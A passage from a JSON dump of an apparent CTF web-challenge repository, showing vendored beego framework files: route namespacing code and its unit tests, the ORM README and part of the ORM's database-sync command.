\"application/vnd.ms-excel.addin.macroEnabled.12\",\n\t\".pptx\":        \"application/vnd.openxmlformats-officedocument.presentationml.presentation\",\n\t\".pptm\":        \"application/vnd.ms-powerpoint.presentation.macroEnabled.12\",\n\t\".ppsx\":        \"application/vnd.openxmlformats-officedocument.presentationml.slideshow\",\n\t\".ppsm\":        \"application/vnd.ms-powerpoint.slideshow.macroEnabled.12\",\n\t\".potx\":        \"application/vnd.openxmlformats-officedocument.presentationml.template\",\n\t\".potm\":        \"application/vnd.ms-powerpoint.template.macroEnabled.12\",\n\t\".ppam\":        \"application/vnd.ms-powerpoint.addin.macroEnabled.12\",\n\t\".sldx\":        \"application/vnd.openxmlformats-officedocument.presentationml.slide\",\n\t\".sldm\":        \"application/vnd.ms-powerpoint.slide.macroEnabled.12\",\n\t\".thmx\":        \"application/vnd.ms-officetheme\",\n\t\".onetoc\":      \"application/onenote\",\n\t\".onetoc2\":     \"application/onenote\",\n\t\".onetmp\":      \"application/onenote\",\n\t\".onepkg\":      \"application/onenote\",\n\t\".key\":         \"application/x-iwork-keynote-sffkey\",\n\t\".kth\":         \"application/x-iwork-keynote-sffkth\",\n\t\".nmbtemplate\": \"application/x-iwork-numbers-sfftemplate\",\n\t\".numbers\":     \"application/x-iwork-numbers-sffnumbers\",\n\t\".pages\":       \"application/x-iwork-pages-sffpages\",\n\t\".template\":    \"application/x-iwork-pages-sfftemplate\",\n\t\".xpi\":         \"application/x-xpinstall\",\n\t\".oex\":         \"application/x-opera-extension\",\n\t\".mustache\":    \"text/html\",\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/namespace.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\n\tbeecontext \"github.com/astaxie/beego/context\"\n)\n\ntype namespaceCond func(*beecontext.Context) bool\n\n// LinkNamespace used as link action\ntype LinkNamespace func(*Namespace)\n\n// Namespace is store all the info\ntype Namespace struct {\n\tprefix   string\n\thandlers *ControllerRegister\n}\n\n// NewNamespace get new Namespace\nfunc NewNamespace(prefix string, params ...LinkNamespace) *Namespace {\n\tns := &Namespace{\n\t\tprefix:   prefix,\n\t\thandlers: NewControllerRegister(),\n\t}\n\tfor _, p := range params {\n\t\tp(ns)\n\t}\n\treturn ns\n}\n\n// Cond set condition function\n// if cond return true can run this namespace, else can't\n// usage:\n// ns.Cond(func (ctx *context.Context) bool{\n//       if ctx.Input.Domain() == \"api.beego.me\" {\n//         return true\n//       }\n//       return false\n//   })\n// Cond as the first filter\nfunc (n *Namespace) Cond(cond namespaceCond) *Namespace {\n\tfn := func(ctx *beecontext.Context) {\n\t\tif !cond(ctx) {\n\t\t\texception(\"405\", ctx)\n\t\t}\n\t}\n\tif v := n.handlers.filters[BeforeRouter]; len(v) > 0 {\n\t\tmr := new(FilterRouter)\n\t\tmr.tree = NewTree()\n\t\tmr.pattern = \"*\"\n\t\tmr.filterFunc = fn\n\t\tmr.tree.AddRouter(\"*\", true)\n\t\tn.handlers.filters[BeforeRouter] = append([]*FilterRouter{mr}, v...)\n\t} else {\n\t\tn.handlers.InsertFilter(\"*\", BeforeRouter, fn)\n\t}\n\treturn n\n}\n\n// Filter add filter in the Namespace\n// action has before & after\n// FilterFunc\n// usage:\n// Filter(\"before\", func (ctx *context.Context){\n//       _, ok := ctx.Input.Session(\"uid\").(int)\n//       if !ok && ctx.Request.RequestURI != \"/login\" {\n//          ctx.Redirect(302, \"/login\")\n//        }\n//   })\nfunc (n *Namespace) Filter(action string, filter ...FilterFunc) *Namespace {\n\tvar a int\n\tif action == \"before\" {\n\t\ta = BeforeRouter\n\t} else if action == \"after\" {\n\t\ta = FinishRouter\n\t}\n\tfor _, f := range filter {\n\t\tn.handlers.InsertFilter(\"*\", a, f)\n\t}\n\treturn n\n}\n\n// Router same as beego.Rourer\n// refer: https://godoc.org/github.com/astaxie/beego#Router\nfunc (n *Namespace) Router(rootpath string, c ControllerInterface, mappingMethods ...string) *Namespace {\n\tn.handlers.Add(rootpath, c, mappingMethods...)\n\treturn n\n}\n\n// AutoRouter same as beego.AutoRouter\n// refer: https://godoc.org/github.com/astaxie/beego#AutoRouter\nfunc (n *Namespace) AutoRouter(c ControllerInterface) *Namespace {\n\tn.handlers.AddAuto(c)\n\treturn n\n}\n\n// AutoPrefix same as beego.AutoPrefix\n// refer: https://godoc.org/github.com/astaxie/beego#AutoPrefix\nfunc (n *Namespace) AutoPrefix(prefix string, c ControllerInterface) *Namespace {\n\tn.handlers.AddAutoPrefix(prefix, c)\n\treturn n\n}\n\n// Get same as beego.Get\n// refer: https://godoc.org/github.com/astaxie/beego#Get\nfunc (n *Namespace) Get(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Get(rootpath, f)\n\treturn n\n}\n\n// Post same as beego.Post\n// refer: https://godoc.org/github.com/astaxie/beego#Post\nfunc (n *Namespace) Post(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Post(rootpath, f)\n\treturn n\n}\n\n// Delete same as beego.Delete\n// refer: https://godoc.org/github.com/astaxie/beego#Delete\nfunc (n *Namespace) Delete(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Delete(rootpath, f)\n\treturn n\n}\n\n// Put same as beego.Put\n// refer: https://godoc.org/github.com/astaxie/beego#Put\nfunc (n *Namespace) Put(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Put(rootpath, f)\n\treturn n\n}\n\n// Head same as beego.Head\n// refer: https://godoc.org/github.com/astaxie/beego#Head\nfunc (n *Namespace) Head(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Head(rootpath, f)\n\treturn n\n}\n\n// Options same as beego.Options\n// refer: https://godoc.org/github.com/astaxie/beego#Options\nfunc (n *Namespace) Options(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Options(rootpath, f)\n\treturn n\n}\n\n// Patch same as beego.Patch\n// refer: https://godoc.org/github.com/astaxie/beego#Patch\nfunc (n *Namespace) Patch(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Patch(rootpath, f)\n\treturn n\n}\n\n// Any same as beego.Any\n// refer: https://godoc.org/github.com/astaxie/beego#Any\nfunc (n *Namespace) Any(rootpath string, f FilterFunc) *Namespace {\n\tn.handlers.Any(rootpath, f)\n\treturn n\n}\n\n// Handler same as beego.Handler\n// refer: https://godoc.org/github.com/astaxie/beego#Handler\nfunc (n *Namespace) Handler(rootpath string, h http.Handler) *Namespace {\n\tn.handlers.Handler(rootpath, h)\n\treturn n\n}\n\n// Include add include class\n// refer: https://godoc.org/github.com/astaxie/beego#Include\nfunc (n *Namespace) Include(cList ...ControllerInterface) *Namespace {\n\tn.handlers.Include(cList...)\n\treturn n\n}\n\n// Namespace add nest Namespace\n// usage:\n//ns := beego.NewNamespace(“/v1”).\n//Namespace(\n//    beego.NewNamespace(\"/shop\").\n//        Get(\"/:id\", func(ctx *context.Context) {\n//            ctx.Output.Body([]byte(\"shopinfo\"))\n//    }),\n//    beego.NewNamespace(\"/order\").\n//        Get(\"/:id\", func(ctx *context.Context) {\n//            ctx.Output.Body([]byte(\"orderinfo\"))\n//    }),\n//    beego.NewNamespace(\"/crm\").\n//        Get(\"/:id\", func(ctx *context.Context) {\n//            ctx.Output.Body([]byte(\"crminfo\"))\n//    }),\n//)\nfunc (n *Namespace) Namespace(ns ...*Namespace) *Namespace {\n\tfor _, ni := range ns {\n\t\tfor k, v := range ni.handlers.routers {\n\t\t\tif t, ok := n.handlers.routers[k]; ok {\n\t\t\t\taddPrefix(v, ni.prefix)\n\t\t\t\tn.handlers.routers[k].AddTree(ni.prefix, v)\n\t\t\t} else {\n\t\t\t\tt = NewTree()\n\t\t\t\tt.AddTree(ni.prefix, v)\n\t\t\t\taddPrefix(t, ni.prefix)\n\t\t\t\tn.handlers.routers[k] = t\n\t\t\t}\n\t\t}\n\t\tif ni.handlers.enableFilter {\n\t\t\tfor pos, filterList := range ni.handlers.filters {\n\t\t\t\tfor _, mr := range filterList {\n\t\t\t\t\tt := NewTree()\n\t\t\t\t\tt.AddTree(ni.prefix, mr.tree)\n\t\t\t\t\tmr.tree = t\n\t\t\t\t\tn.handlers.insertFilterRouter(pos, mr)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn n\n}\n\n// AddNamespace register Namespace into beego.Handler\n// support multi Namespace\nfunc AddNamespace(nl ...*Namespace) {\n\tfor _, n := range nl {\n\t\tfor k, v := range n.handlers.routers {\n\t\t\tif t, ok := BeeApp.Handlers.routers[k]; ok {\n\t\t\t\taddPrefix(v, n.prefix)\n\t\t\t\tBeeApp.Handlers.routers[k].AddTree(n.prefix, v)\n\t\t\t} else {\n\t\t\t\tt = NewTree()\n\t\t\t\tt.AddTree(n.prefix, v)\n\t\t\t\taddPrefix(t, n.prefix)\n\t\t\t\tBeeApp.Handlers.routers[k] = t\n\t\t\t}\n\t\t}\n\t\tif n.handlers.enableFilter {\n\t\t\tfor pos, filterList := range n.handlers.filters {\n\t\t\t\tfor _, mr := range filterList {\n\t\t\t\t\tt := NewTree()\n\t\t\t\t\tt.AddTree(n.prefix, mr.tree)\n\t\t\t\t\tmr.tree = t\n\t\t\t\t\tBeeApp.Handlers.insertFilterRouter(pos, mr)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc addPrefix(t *Tree, prefix string) {\n\tfor _, v := range t.fixrouters {\n\t\taddPrefix(v, prefix)\n\t}\n\tif t.wildcard != nil {\n\t\taddPrefix(t.wildcard, prefix)\n\t}\n\tfor _, l := range t.leaves {\n\t\tif c, ok := l.runObject.(*ControllerInfo); ok {\n\t\t\tif !strings.HasPrefix(c.pattern, prefix) {\n\t\t\t\tc.pattern = prefix + c.pattern\n\t\t\t}\n\t\t}\n\t}\n}\n\n// NSCond is Namespace Condition\nfunc NSCond(cond namespaceCond) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Cond(cond)\n\t}\n}\n\n// NSBefore Namespace BeforeRouter filter\nfunc NSBefore(filterList ...FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Filter(\"before\", filterList...)\n\t}\n}\n\n// NSAfter add Namespace FinishRouter filter\nfunc NSAfter(filterList ...FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Filter(\"after\", filterList...)\n\t}\n}\n\n// NSInclude Namespace Include ControllerInterface\nfunc NSInclude(cList ...ControllerInterface) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Include(cList...)\n\t}\n}\n\n// NSRouter call Namespace Router\nfunc NSRouter(rootpath string, c ControllerInterface, mappingMethods ...string) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Router(rootpath, c, mappingMethods...)\n\t}\n}\n\n// NSGet call Namespace Get\nfunc NSGet(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Get(rootpath, f)\n\t}\n}\n\n// NSPost call Namespace Post\nfunc NSPost(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Post(rootpath, f)\n\t}\n}\n\n// NSHead call Namespace Head\nfunc NSHead(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Head(rootpath, f)\n\t}\n}\n\n// NSPut call Namespace Put\nfunc NSPut(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Put(rootpath, f)\n\t}\n}\n\n// NSDelete call Namespace Delete\nfunc NSDelete(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Delete(rootpath, f)\n\t}\n}\n\n// NSAny call Namespace Any\nfunc NSAny(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Any(rootpath, f)\n\t}\n}\n\n// NSOptions call Namespace Options\nfunc NSOptions(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Options(rootpath, f)\n\t}\n}\n\n// NSPatch call Namespace Patch\nfunc NSPatch(rootpath string, f FilterFunc) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Patch(rootpath, f)\n\t}\n}\n\n// NSAutoRouter call Namespace AutoRouter\nfunc NSAutoRouter(c ControllerInterface) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.AutoRouter(c)\n\t}\n}\n\n// NSAutoPrefix call Namespace AutoPrefix\nfunc NSAutoPrefix(prefix string, c ControllerInterface) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.AutoPrefix(prefix, c)\n\t}\n}\n\n// NSNamespace add sub Namespace\nfunc NSNamespace(prefix string, params ...LinkNamespace) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tn := NewNamespace(prefix, params...)\n\t\tns.Namespace(n)\n\t}\n}\n\n// NSHandler add handler\nfunc NSHandler(rootpath string, h http.Handler) LinkNamespace {\n\treturn func(ns *Namespace) {\n\t\tns.Handler(rootpath, h)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/namespace_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/context\"\n)\n\nfunc TestNamespaceGet(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v1/user\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v1\")\n\tns.Get(\"/user\", func(ctx *context.Context) {\n\t\tctx.Output.Body([]byte(\"v1_user\"))\n\t})\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"v1_user\" {\n\t\tt.Errorf(\"TestNamespaceGet can't run, get the response is \" + w.Body.String())\n\t}\n}\n\nfunc TestNamespacePost(t *testing.T) {\n\tr, _ := http.NewRequest(\"POST\", \"/v1/user/123\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v1\")\n\tns.Post(\"/user/:id\", func(ctx *context.Context) {\n\t\tctx.Output.Body([]byte(ctx.Input.Param(\":id\")))\n\t})\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"123\" {\n\t\tt.Errorf(\"TestNamespacePost can't run, get the response is \" + w.Body.String())\n\t}\n}\n\nfunc TestNamespaceNest(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v1/admin/order\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v1\")\n\tns.Namespace(\n\t\tNewNamespace(\"/admin\").\n\t\t\tGet(\"/order\", func(ctx *context.Context) {\n\t\t\t\tctx.Output.Body([]byte(\"order\"))\n\t\t\t}),\n\t)\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"order\" {\n\t\tt.Errorf(\"TestNamespaceNest can't run, get the response is \" + w.Body.String())\n\t}\n}\n\nfunc TestNamespaceNestParam(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v1/admin/order/123\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v1\")\n\tns.Namespace(\n\t\tNewNamespace(\"/admin\").\n\t\t\tGet(\"/order/:id\", func(ctx *context.Context) {\n\t\t\t\tctx.Output.Body([]byte(ctx.Input.Param(\":id\")))\n\t\t\t}),\n\t)\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"123\" {\n\t\tt.Errorf(\"TestNamespaceNestParam can't run, get the response is \" + w.Body.String())\n\t}\n}\n\nfunc TestNamespaceRouter(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v1/api/list\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v1\")\n\tns.Router(\"/api/list\", &TestController{}, \"*:List\")\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am list\" {\n\t\tt.Errorf(\"TestNamespaceRouter can't run, get the response is \" + w.Body.String())\n\t}\n}\n\nfunc TestNamespaceAutoFunc(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v1/test/list\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v1\")\n\tns.AutoRouter(&TestController{})\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am list\" {\n\t\tt.Errorf(\"user define func can't run\")\n\t}\n}\n\nfunc TestNamespaceFilter(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v1/user/123\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v1\")\n\tns.Filter(\"before\", func(ctx *context.Context) {\n\t\tctx.Output.Body([]byte(\"this is Filter\"))\n\t}).\n\t\tGet(\"/user/:id\", func(ctx *context.Context) {\n\t\t\tctx.Output.Body([]byte(ctx.Input.Param(\":id\")))\n\t\t})\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"this is Filter\" {\n\t\tt.Errorf(\"TestNamespaceFilter can't run, get the response is \" + w.Body.String())\n\t}\n}\n\nfunc TestNamespaceCond(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v2/test/list\", nil)\n\tw := httptest.NewRecorder()\n\n\tns := NewNamespace(\"/v2\")\n\tns.Cond(func(ctx *context.Context) bool {\n\t\treturn ctx.Input.Domain() == \"beego.me\"\n\t}).\n\t\tAutoRouter(&TestController{})\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Code != 405 {\n\t\tt.Errorf(\"TestNamespaceCond can't run get the result \" + strconv.Itoa(w.Code))\n\t}\n}\n\nfunc TestNamespaceInside(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/v3/shop/order/123\", nil)\n\tw := httptest.NewRecorder()\n\tns := NewNamespace(\"/v3\",\n\t\tNSAutoRouter(&TestController{}),\n\t\tNSNamespace(\"/shop\",\n\t\t\tNSGet(\"/order/:id\", func(ctx *context.Context) {\n\t\t\t\tctx.Output.Body([]byte(ctx.Input.Param(\":id\")))\n\t\t\t}),\n\t\t),\n\t)\n\tAddNamespace(ns)\n\tBeeApp.Handlers.ServeHTTP(w, r)\n\tif w.Body.String() != \"123\" {\n\t\tt.Errorf(\"TestNamespaceInside can't run, get the response is \" + w.Body.String())\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/README.md",
    "content": "# beego orm\n\n[![Build Status](https://drone.io/github.com/astaxie/beego/status.png)](https://drone.io/github.com/astaxie/beego/latest)\n\nA powerful orm framework for go.\n\nIt is heavily influenced by Django ORM, SQLAlchemy.\n\n**Support Database:**\n\n* MySQL: [github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)\n* PostgreSQL: [github.com/lib/pq](https://github.com/lib/pq)\n* Sqlite3: [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3)\n\nPassed all test, but need more feedback.\n\n**Features:**\n\n* full go type support\n* easy for usage, simple CRUD operation\n* auto join with relation table\n* cross DataBase compatible query\n* Raw SQL query / mapper without orm model\n* full test keep stable and strong\n\nmore features please read the docs\n\n**Install:**\n\n\tgo get github.com/astaxie/beego/orm\n\n## Changelog\n\n* 2013-08-19: support table auto create\n* 2013-08-13: update test for database types\n* 2013-08-13: go type support, such as int8, uint8, byte, rune\n* 2013-08-13: date / datetime timezone support very well\n\n## Quick Start\n\n#### Simple Usage\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/astaxie/beego/orm\"\n\t_ \"github.com/go-sql-driver/mysql\" // import your used driver\n)\n\n// Model Struct\ntype User struct {\n\tId   int    `orm:\"auto\"`\n\tName string `orm:\"size(100)\"`\n}\n\nfunc init() {\n\t// register model\n\torm.RegisterModel(new(User))\n\n\t// set default database\n\torm.RegisterDataBase(\"default\", \"mysql\", \"root:root@/my_db?charset=utf8\", 30)\n\t\n\t// create table\n\torm.RunSyncdb(\"default\", false, true)\t\n}\n\nfunc main() {\n\to := orm.NewOrm()\n\n\tuser := User{Name: \"slene\"}\n\n\t// insert\n\tid, err := o.Insert(&user)\n\n\t// update\n\tuser.Name = \"astaxie\"\n\tnum, err := o.Update(&user)\n\n\t// read one\n\tu := User{Id: user.Id}\n\terr = o.Read(&u)\n\n\t// delete\n\tnum, err = o.Delete(&u)\t\n}\n```\n\n#### Next with relation\n\n```go\ntype Post struct {\n\tId    int    `orm:\"auto\"`\n\tTitle string `orm:\"size(100)\"`\n\tUser  *User  `orm:\"rel(fk)\"`\n}\n\nvar posts []*Post\nqs := o.QueryTable(\"post\")\nnum, err := qs.Filter(\"User__Name\", \"slene\").All(&posts)\n```\n\n#### Use Raw sql\n\nIf you don't like ORM，use Raw SQL to query / mapping without ORM setting\n\n```go\nvar maps []Params\nnum, err := o.Raw(\"SELECT id FROM user WHERE name = ?\", \"slene\").Values(&maps)\nif num > 0 {\n\tfmt.Println(maps[0][\"id\"])\n}\n```\n\n#### Transaction\n\n```go\no.Begin()\n...\nuser := User{Name: \"slene\"}\nid, err := o.Insert(&user)\nif err == nil {\n\to.Commit()\n} else {\n\to.Rollback()\n}\n\n```\n\n#### Debug Log Queries\n\nIn development env, you can simple use\n\n```go\nfunc main() {\n\torm.Debug = true\n...\n```\n\nenable log queries.\n\noutput include all queries, such as exec / prepare / transaction.\n\nlike this:\n\n```go\n[ORM] - 2013-08-09 13:18:16 - [Queries/default] - [    db.Exec /     0.4ms] - [INSERT INTO `user` (`name`) VALUES (?)] - `slene`\n...\n```\n\nnote: not recommend use this in product env.\n\n## Docs\n\nmore details and examples in docs and test\n\n[documents](http://beego.me/docs/mvc/model/overview.md)\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/cmd.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n)\n\ntype commander interface {\n\tParse([]string)\n\tRun() error\n}\n\nvar (\n\tcommands = make(map[string]commander)\n)\n\n// print help.\nfunc printHelp(errs ...string) {\n\tcontent := `orm command usage:\n\n    syncdb     - auto create tables\n    sqlall     - print sql of create tables\n    help       - print this help\n`\n\n\tif len(errs) > 0 {\n\t\tfmt.Println(errs[0])\n\t}\n\tfmt.Println(content)\n\tos.Exit(2)\n}\n\n// RunCommand listen for orm command and then run it if command arguments passed.\nfunc RunCommand() {\n\tif len(os.Args) < 2 || os.Args[1] != \"orm\" {\n\t\treturn\n\t}\n\n\tBootStrap()\n\n\targs := argString(os.Args[2:])\n\tname := args.Get(0)\n\n\tif name == \"help\" {\n\t\tprintHelp()\n\t}\n\n\tif cmd, ok := commands[name]; ok {\n\t\tcmd.Parse(os.Args[3:])\n\t\tcmd.Run()\n\t\tos.Exit(0)\n\t} else {\n\t\tif name == \"\" {\n\t\t\tprintHelp()\n\t\t} else {\n\t\t\tprintHelp(fmt.Sprintf(\"unknown command %s\", name))\n\t\t}\n\t}\n}\n\n// sync database struct command interface.\ntype commandSyncDb struct {\n\tal        *alias\n\tforce     bool\n\tverbose   bool\n\tnoInfo    bool\n\trtOnError bool\n}\n\n// parse orm command line arguments.\nfunc (d *commandSyncDb) Parse(args []string) {\n\tvar name string\n\n\tflagSet := flag.NewFlagSet(\"orm command: syncdb\", flag.ExitOnError)\n\tflagSet.StringVar(&name, \"db\", \"default\", \"DataBase alias name\")\n\tflagSet.BoolVar(&d.force, \"force\", false, \"drop tables before create\")\n\tflagSet.BoolVar(&d.verbose, \"v\", false, \"verbose info\")\n\tflagSet.Parse(args)\n\n\td.al = getDbAlias(name)\n}\n\n// run orm line command.\nfunc (d *commandSyncDb) Run() error {\n\tvar drops []string\n\tif d.force {\n\t\tdrops = getDbDropSQL(d.al)\n\t}\n\n\tdb := d.al.DB\n\n\tif d.force {\n\t\tfor i, mi := range modelCache.allOrdered() {\n\t\t\tquery := drops[i]\n\t\t\tif !d.noInfo {\n\t\t\t\tfmt.Printf(\"drop table `%s`\\n\", mi.table)\n\t\t\t}\n\t\t\t_, err := db.Exec(query)\n\t\t\tif d.verbose {\n\t\t\t\tfmt.Printf(\"    %s\\n\\n\", query)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tif d.rtOnError {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"    %s\\n\", err.Error())\n\t\t\t}\n\t\t}\n\t}\n\n\tsqls, indexes := getDbCreateSQL(d.al)\n\n\ttables, err := d.al.DbBaser.GetTables(db)\n\tif err != nil {\n\t\tif d.rtOnError {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Printf(\"    %s\\n\", err.Error())\n\t}\n\n\tfor i, mi := range modelCache.allOrdered() {\n\t\tif tables[mi.table] {\n\t\t\tif !d.noInfo {\n\t\t\t\tfmt.Printf(\"table `%s` already exists, skip\\n\", mi.table)\n\t\t\t}\n\n\t\t\tvar fields []*fieldInfo\n\t\t\tcolumns, err := d.al.DbBaser.GetColumns(db, mi.table)\n\t\t\tif err != nil {\n\t\t\t\tif d.rtOnError {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"    %s\\n\", err.Error())\n\t\t\t}\n\n\t\t\tfor _, fi := range mi.fields.fieldsDB {\n\t\t\t\tif _, ok := columns[fi.column]; !ok {\n\t\t\t\t\tfields = append(fields, fi)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor _, fi := range fields {\n\t\t\t\tquery := getColumnAddQuery(d.al, fi)\n\n\t\t\t\tif !d.noInfo {\n\t\t\t\t\tfmt.Printf(\"add column `%s` for table `%s`\\n\", fi.fullName, mi.table)\n\t\t\t\t}\n\n\t\t\t\t_, err := db.Exec(query)\n\t\t\t\tif d.verbose {\n\t\t\t\t\tfmt.Printf(\"    %s\\n\", query)\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\tif d.rtOnError {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tfmt.Printf(\"    %s\\n\", err.Error())\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor _, idx := range indexes[mi.table] {\n\t\t\t\tif !d.al.DbBaser.IndexExists(db, idx.Table, idx.Name) {\n\t\t\t\t\tif !d.noInfo {\n\t\t\t\t\t\tfmt.Printf(\"create index `%s` for table `%s`\\n\", idx.Name, idx.Table)\n\t\t\t\t\t}\n\n\t\t\t\t\tquery := idx.SQL\n\t\t\t\t\t_, err := db.Exec(query)\n\t\t\t\t\tif d.verbose {\n\t\t\t\t\t\tfmt.Printf(\"    %s\\n\", query)\n\t\t\t\t\t}\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tif d.rtOnError {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfmt.Printf(\"    %s\\n\", err.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif !d.noInfo {\n\t\t\tfmt.Printf(\"create table `%s` \\n\", mi.table)\n\t\t}\n\n\t\tqueries := []string{sqls[i]}\n\t\tfor _, idx := range indexes[mi.table] {\n\t\t\tqueries = append(queries, idx.SQL)\n\t\t}\n\n\t\tfor _, query := range queries {\n\t\t\t_, err := db.Exec(query)\n\t\t\tif d.verbose {\n\t\t\t\tquery = \"    \" + strings.Join(strings.Split(query, \"\\n\"), \"\\n    \")\n\t\t\t\tfmt.Println(query)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tif d.rtOnError {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"    %s\\n\", err.Error())\n\t\t\t}\n\t\t}\n\t\tif d.verbose {\n\t\t\tfmt.Println(\"\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// database creation commander interface implement.\ntype commandSQLAll struct {\n\tal *alias\n}\n\n// parse orm command line arguments.\nfunc (d *commandSQLAll) Parse(args []string) {\n\tvar name string\n\n\tflagSet := 